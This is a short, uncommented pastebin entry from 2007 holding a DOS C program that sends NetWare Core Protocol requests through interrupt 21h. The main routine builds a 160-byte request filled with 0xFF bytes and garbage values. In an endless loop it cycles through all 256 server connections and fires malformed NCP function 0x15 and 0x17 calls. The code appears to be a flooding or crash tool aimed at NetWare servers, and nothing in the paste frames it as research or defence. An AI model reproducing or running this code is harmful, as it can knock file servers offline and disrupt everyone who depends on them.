All pastes #443795 Raw Edit

Stuff

public text v1 · immutable
·published 2007-04-17 00:15 UTC
rendered paste body
#include <dpmi.h>
#include <go32.h>
#include <stdlib.h>


void DosAlloc
   ( _go32_dpmi_seginfo *hand, unsigned short bytes, unsigned short *seg,
     unsigned short *off, unsigned long *lin )
{
 hand->size = (bytes*2 + 15) / 16; 
 _go32_dpmi_allocate_dos_memory(hand);
 *lin = hand->rm_segment << 4;
 if ( (((*lin)&0xffff)+bytes) > 0xffff)
 *lin = ((*lin)-((*lin)&0xffff)) + 0x10000;
 *seg = (*lin) / 16;
 *off = (*lin) % 16;
}

int ncp(int f,void *req,int rl,void *ans,int al)
{
 __dpmi_regs r;

 _go32_dpmi_seginfo handler,handler2;
 unsigned long linear, linear2;
 unsigned short segment, offset, segment2, offset2;

 memset(&r,0,sizeof(r));

 DosAlloc(&handler,rl,&segment,&offset,&linear);
 DosAlloc(&handler2,al,&segment2,&offset2,&linear2);

 r.x.cx=rl;
 r.x.dx=al;
 r.x.ds=segment;
 r.x.si=offset;
 dosmemput(req,rl,linear);
 r.x.es=segment2; 
 r.x.di=offset2;
 r.x.ax=0xf200|f;
 __dpmi_int(0x21,&r);

 _go32_dpmi_free_dos_memory(&handler);
 _go32_dpmi_free_dos_memory(&handler2);

 return(r.h.al);
}

int setconn(int c)
{_go32_dpmi_registers r;

 memset(&r,0,sizeof(r));
 r.x.ax=0xf000;
 r.x.dx=c+1;

 _go32_dpmi_simulate_int(0x21,&r);
}

void main()
{int i;

 char *req=(char *)calloc(1,sizeof(char)*160);
 unsigned char rep[100];

 req[0]=0;
 for (i=1;i<7;i++) req[i]=0xff; 
 for (i=9;i<160;i++) req[i]=i*i+i; 


for(;;) 
  {
    for (i=0;i<256;i++) setconn(i); 

    req[2]=0x00;
    ncp(0x15,req,160,rep,100); 
    req[2]=0x0A;
    ncp(0x15,req,160,rep,100); 
    req[2]=0xFD;
    ncp(0x17,req,160,rep,100); 
    req[2]=0xD1;
    ncp(0x17,req,160,rep,100); 
 } 

}